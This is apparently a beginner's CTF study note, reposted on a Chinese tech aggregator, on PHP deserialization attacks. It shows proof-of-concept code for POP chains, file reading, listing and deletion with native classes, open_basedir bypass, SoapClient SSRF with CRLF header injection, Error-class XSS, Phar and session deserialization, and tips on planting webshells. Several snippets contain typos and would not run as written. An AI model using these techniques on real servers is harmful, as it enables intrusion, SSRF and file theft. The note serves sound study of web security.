IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> php反序列化 -> 正文阅读

[PHP知识库]php反序列化

目录

注:本文章为入门菜鸡个人笔记,如有错误请多多包涵指出,文章中有很多内容是看了其他师傅们的博客再自己总结的

PHP反序列化

一些定义

php的属性和方法的访问控制

php构造函数

php析构函数

变量拼接:

调用类中属性和函数的常用方法->=>::_$this->

访问对象中的成员

魔术方法

静态方法and静态属性

绕过

pop链

php原生类

Phar反序列化

php内置函数

session反序列化

小tips

CRLF注入攻击

做题思路-敏感词条

反序列化逃逸

PHP伪协议


PHP反序列化

1,序列化 序列化好处:可以节省储存空间,需要的时候在返序列化回来就行。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

$a='123' : s:3:"123"

$a=123 : 1:"123"

提交方法,代码执行的先后顺序

www'dooccn.com 序列化网站

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀

类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

$this 的含义是表示 实例化后的 具体对象! $this->

2,由于protect被保护的变量类外部无法访问,所以在类里面定义

注意:字符串序列化后还是字符串

一些定义

1,类中中的变量称为属性,类中的函数称为方法

2,继承: extends

3,方法的覆盖(方法重写):override

4,接口:interface

5,抽象类:abstract

任何一个类,如果它里面至少有一个方法是被声明为抽象的,那么这个类就必须被声明为抽象的。

定义为抽象的类不能被实例化。

被定义为抽象的方法只是声明了其调用方式(参数),不能定义其具体的功能实现。

继承一个抽象类的时候,子类必须定义父类中的所有抽象方法;另外,这些方法的访问控制必须和父类中一样(或者更为宽松)。例如某个抽象方法被声明为受保护的,那么子类中实现的方法就应该声明为受保护的或者公有的,而不能定义为私有的。

6,Static 关键字

声明类属性或方法为 static(静态),就可以不实例化类而直接访问。

静态属性不能通过一个类已实例化的对象来访问(但静态方法可以)。

由于静态方法不需要通过对象即可调用,所以伪变量 $this 在静态方法中不可用。

静态属性不可以由对象通过 -> 操作符来访问。

自 PHP 5.3.0 起,可以用一个变量来动态调用类。但该变量的值不能为关键字 self,parent 或 static。

7,Final 关键字

PHP 5 新增了一个 final 关键字。如果父类中的方法被声明为 final,则子类无法覆盖该方法。如果一个类被声明为 final,则不能被继承。

8,PHP 不会在子类的构造方法中自动的调用父类的构造方法。要执行父类的构造方法,需要在子类的构造方法中调用 parent::__construct() 。/

9, @与&

@用于抑制警告输出,通常用在PHP数据库连接数据库这里,如   
    @mysql_connect(self::$dbhost,self::$dbuser,self::$dbpassword);
    //&为引用变量 or 函数地址等,这个&跟C语言的指针有相似之处,
    //但并不相同,C语言的指针指向内存
    //而PHP指的是不同的名字访问同一个变量内容.如
    $a=5;
    $b=&$a;
    echo $b;
?

php的属性和方法的访问控制

  • public(公有):公有的类成员可以在任何地方被访问。

  • protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。 extends:继承

  • private(私有):私有的类成员则只能被其定义所在的类访问。

    类属性必须定义为公有,受保护,私有之一。如果用 var 定义,则被视为公有。

php构造函数

构造函数是一种特殊的方法。主要用来在创建对象时初始化对象, 即为对象成员变量赋初始值,在创建对象的语句中与 new 运算符一起使用。

PHP 5 允许开发者在一个类中定义一个方法作为构造函数,语法格式如下:

void __construct ([ mixed $args [, $... ]] )

php析构函数

析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。

PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,其语法格式如下:

void __destruct ( void )

变量拼接:

1、(“.”)连接字符 2、(“.=”)连接并赋值 <?php $a = "Hello "; $b = $a . "World!"; // now $b contains "Hello World!" $a = "Hello "; $a .= "World!"; // now $a contains "Hello World!" ?> php表示字符串即可用单引号也可用双引号,两者区别为: 当字符串中有变量时,单引号仅输出其变量名,而不是值

调用类中属性和函数的常用方法->=>::_$this->

1,*->*用来引用一个类的属性(变量)、方法(函数)

2,*=>*是用来定义数组用的

比如:

$arr1 =array(0=>'php',1=>'is',the=>'the');

Echo $arra[0],$arr1[1],$arr[‘the’]; //对应输出设置的值

3,::用来直接调用类中的属性或方法

正常的情况我们用实例化方法来调用类中的属性或方法,但使用::可以不需要实例化对象,直接调用即可。比如:

Class b{ Var $name=”test”;

Function Getname(){ Echo “test is good”;

}

}

直接调用:

Echo b::Getname();//输出为test isgood

4,$this->表示实例化后的具体对象 我们一般在一个类的内部使用本类的属性或方法时,就使用$this->

访问对象中的成员

成员的默认值必须是常量表达式,而不是(例如)变量、属性或函数调用

对象中包含成员属性和成员方法,访问对象中的成员和访问数组中的元素类似,只能通过对象的引用来访问对象中的成员。但还要使用一个特殊的运算符号->来完成对象成员的访问,访问对象中成员的语法格式如下所示:

变量名 = new 类名(参数); //实例化一个类 变量名 -> 成员属性 = 值; //为成员属性赋值 变量名 -> 成员属性; //直接获取成员属性的值 变量名 -> 成员方法(); //访问对象中的成员方法

下面通过一个示例来演示一下:

<?php 
class Website{    
public $name, $url, $title;   
public function demo(){ 
echo '成员方法 demo()';   
} 
} 
$student = new Website();
$student -> name = 'C语言中文网';
$student -> url = 'http://c.biancheng.net/php/'; 
$student -> title = '实例化对象'; 
echo $student -> name.'<br>';  
echo $student -> url.'<br>';  
echo $student -> title.'<br>';
$student -> demo();?>

运行结果如下:

C语言中文网 PHP教程:PHP开发快速入门 实例化对象 成员方法 demo()

魔术方法

construct () 当一个对象创建时被调用, eg: new car(); destruct () 当一个对象销毁时被调用, 通常php在程序块执行结束的时候进行垃圾回收,这将进行对象销毁然后自然触发_destruct

toString () 当一个对象被当作一个字符串被调用。

wakeup() 使用unserialize时触发 sleep() 使用serialize时触发

call() 在对象上下文中调用不可访问的方法(不存在的方法)时触发 callStatic() 在静态上下文中调用不可访问的方法时触发

get() 用于从不可访问的属性读取数据 当访问类中的私有属性或者是不存在的属性, 触发 __get魔术方法

set() 用于将数据写入不可访问的属性

isset() 在不可访问的属性上调用isset()或empty() unset() 在不可访问的属性上使用unset()时触发

__toString() 把类当作字符串使用时触发,返回值需要为字符串

__invoke() 当脚本尝试将对象调用为函数时触发

静态方法and静态属性

静态属性:

public / protected / private static $变量名

不用实例化类 , 直接调用 类名 :: 变量名 但实例化后 , 不允许使用 对象 -> 变量名

静态方法

public / protected / private static function 方法名()

不用实例化类 , 直接调用 类名 :: 方法名() 实例化后 , 对象 -> 方法名() 静态方法中,$this伪变量不允许使用。可以使用self,parent,static在内部调用静态方法与属性。

绕过

1,绕过正则

preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头

if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])) 正则意思就是 O:数字 C:数字 等的这种情况不能出现

正则表达式,又称规则表达式(英语:Regular Expression,在代码中常简写为regex、regexp或RE),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本。

许多程序设计语言都支持利用正则表达式进行字符串操作。例如,在Perl中就内建了一个功能强大的正则表达式引擎。正则表达式这个概念最初是由Unix中的工具软件(例如sedgrep)普及开的。正则表达式通常缩写成“regex”,单数有regexp、regex,复数有regexps、regexes、regexen。

$b = & a ; //表示b 和 $a 引用了同一个变量

2,(1)绕过wake_up: 属性个数不对时可以绕过(php5.6以下) (2)当有反序列化的方法时会绕过wekup(7.4以上·)

pop链

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的 。 说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

php原生类

补充: ../ 上一级目录

1,文件与目录读取 DirectoryIterator

<?php
 ? ?highlight_file(__FILE__);
 ? ?$dir=$_GET['cmd'];
 ? ?$a=new DirectoryIterator($dir);
 ? ?foreach($a as $f){
 ? ? ? ?echo ($f->__tostring().'<br>');
 ? ? ? ?//不加__tostring()也可,因为echo可以自动调用
 ? ? 
 ?  }
?>
 ? ?

传入参数cmd=glob:///*;访问后回显根目录文件名,不仅可以传入伪协议还可传入路径,如果可以传入函数将更简单,如:dirname()等,还要注意的是,执行回显的代码时在foreach语句的内部,注意在windows磁盘中不区分大小写,linux中磁盘区分大小写,

2,读取目录信息 FilesystemIterator

<?php
    highlight_file(__FILE__);
    $dir=new FilesystemIterator("./");
    echo $dir;
    foreach ($dir as $f){
        echo $f.'<br>';
    }
    foreach($dir as $f){
        echo $dir->current().'<br>';
        //是$dir不是$f 
    }
    

用法与DirectoryIterator一样,继承于DirectoryIterator,与他是父子关系 ,FilesystemIterator::current()是回显FilesystemIterator自生用于回显目录信息的方法

3,glob://协议与模式匹配

glob:// 查找匹配的文件路径模式

GlobIterator

<?php
    $dir=new GlobIterator("*.php");//回显出文件名后缀为php的文件
    foreach($dir as $f){
        echo $f.'<br>';
    }
 

与前两个方法类似,不同在于其行为类似于glob(), 可以通过模式匹配来寻找文件路径,前两个需要借助glob伪协议才能进行模式匹配

4,可遍历目录类绕过 open_basedir

open_basedir限制目录:将php所能打开的文件限制在指定的目录树,包括文件本身;当题目中存在序列化位点时可利用前三种来绕过open_basedir 注意要用模式匹配

<?php
    ini_set('open_basedir','指定目录');
    $dir1=$_GET['1'];
    $a=new DirectoryIterator($dir);
    foreach($a as $f){
        echo $f.'<br>';
    }
    $dir=$_GET['2']
    $a=new GlobIterator($dir2);
    foreach($a as $f){
        echo $f.'<br>';
    }
?>

5,读取文件的原生类 SplFileObject

<?php
    highlight_file(__FILE__);
    $context=new SplFileObject($_GET['cmd']);
    foreach($context as $f){
        echo($f);
    }

6,删除文件 ZipArchive::open()

<?php
$zip=new ZipArechive;
$res=$zip->open('test.zip'ZIPARCHIVE::OVERWRITE)
?>

这样就删除了test.zip文件;ZIPARCHIVE::OVERWRITE :总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖,这是个常数项,值ZIPARCHIVE::OVERWRITE =8

注:梦里花开牡丹亭 http://81.69.27.32:10001/ 用原生类删除waf.txt

7,Reflection

这个原生类的功能有点特殊,读取的是文件中的注释信息

<?php
    class apple{
    public $var;
    public $var2='orange';
    /**
      * this is DocComment
      */
    public function type(){
        return 'apple';
    }    
}
$ref=new ReflectioinMethod{"apple","type"};
//读取apple类中,type方法前的注释信息
var_dump($ref->getDocComment());
?>

注意:注释的文本只有符合/**规范的才能被识别

8,ssrf

soapClient::__call()

SOAP(简单对象访问协议)是连接web服务端或web服务器之间的接口;其采用的是HTTP作为底层协议,XML作为数据传送的格式,仅限于http/https协议,SOAP消息基本是从发送端的单项传输,但他们常常结合起来执行类似于请求/应答的模式;如过想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项

<?php
   $a=new SoapClient(null,arry('location'=>'http://xxx.xxx.xxx.xxx.3333/index.php','user_agent'=>"chrome\r\nCookie:.... ,'uri'=>http:// http://xxx.xxx.xxx.xxx.3333"));//可用来发送请求 
$b=serialize($a);
echo $b;
$c=unserialize($b);
$c->nofun();//调用对象中不存在的方法,触发_call进行ssrf
?>
<?php
    $ua="ctfshow\r\nX-Forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-type:applictaion/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
    $a=new SoapClient(null,arryy('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
    echo urlencode(serialize($a));

9,XXE

simpleXMLElement 适用于php5,php7,php8

10,XSS

Error 适用于php7版本,同时开启报错的情况下

Error内置有一个——tostring的方法,可以产生XSS漏洞

 
//code
<?php
    $a=unserialize($_GET['test']);
    echo $a;
?>
//poc
<?php
    $a=new Error("<script>alert('test')</script>");
$b=serialize($a);
echo urlencode($b);
?>
?>

11, Exception 适用于php5,7版本,同时开启报错的情况下

 

Phar反序列化

当找不到反序列化点时,若题目中有写文件的函数(file_put_contents),所以可以通过file_put_contents写phar文件,然后再通过file_put_contents触发phar反序列化。当然我们得在删除文件前执行完这两个操作,所以需要用到条件竞争。

1,phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容

2,什么是phar文件 在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发

php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器。

php中一些常见的流包装器如下:

file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

3,phar文件的结构

stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。

4.phar文件

<?php

//class filter{
    //public $filename = "1|cat f*";
    //public $filecontent;
    //public $evilfile = true;
    //public $admin = true;
//}   应题目而异  此题ctfshow—web-275

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

5.phar内置方法

要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off(文档中定义)

$phar = new Phar('phar/hpdoger.phar'); //实例一个phar对象供后续操作
$phar->startBuffering()  //开始缓冲Phar写操作
$phar->addFromString('test.php','<?php echo \'this is test file\';'); //以字符串的形式添加一个文件到 phar 档案
$phar->buildFromDirectory('fileTophar') //把一个目录下的文件归档到phar档案
$phar->extractTo()  //解压一个phar包的函数,extractTo 提取phar文档内容

php内置函数

phpinfo()函数会输出关于 PHP 配置的信息。

phpinfo ([ int $what = INFO_ALL ] )

$what是一个可省略的参数,但$what被省略,则会输出全部的配置信息。

session反序列化

带你走进PHP session反序列化漏洞 - 先知社区 (aliyun.com)

选择器存储格式样例 $_SESSION[‘name’] = ‘ocean’;
php_serialize经过 serialize() 函数序列化数组a:1:{s:4:“name”;s:5:“ocean”;}
php(默认)键名 竖线 经过 serialize() 函数处理的值name
php_binary键名的长度对应的ascii字符 键名 serialize() 函数序列化的值name s:6:“spoock”;

Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里仅讨论PHP session机制。

PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。

小tips

1,session.upload_progress.enabled是on,当一个上传在处理时,post一个与ini中设置的session.upload_progress.name同名变量时,PHP检测到这个post请求,就会在$_SESSION中添加一组数据,所以可以通过session upload progress设置session,然后控制OowoO这个类达到我们的目的

1,  var_dump(urlencode(serialize($a)));    将$a序列化后进行url编码
    或者 echo urlencode(serialize($a)));

CRLF注入攻击

CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。

做题思路-敏感词条

1,file_put_contents () ; 将字符串写入文件,可以尝试写入一句话木马获取webshell

2, eval(); 将字符当作函数执行,可尝试写入命令打开文件 eg: system(cat flag.php);

3,str_replace('fuck', 'loveU', serialize($msg)); 可能是字符逃逸

4,system('rm '.$this->filename); 联想调用cat / ls 等命令

反序列化逃逸

原理:在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度s错误则反序列化就会失败。

当我们不能直接给变量赋值的时候可以通过字符逃逸的方法给变量赋值

eg:

// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}
echo serialize($msg);
// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}
echo $umsg;
//我们来对比下字符替换前后序列化字符的长度,我们得知,过滤之后$to的长度还是4,但是里面有5个字符,这时候进行反序列化,实际上也只会截取4个字符,原本U后面的引号前移一位,这时候就会逃逸出一个字符U,很显然短变成长,每次转换多一个字符从fuck变为loveU,就会多逃逸一个字符
s:4:"love"U;s:5:"token";s:4:"user";}
 

PHP伪协议

1,php://input: php://input伪协议是post输入的参数。首先拿到一个ctfshow类的反序列化字符串;

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-09 20:28:51  更:2022-02-09 20:29:34 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 5:12:05-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计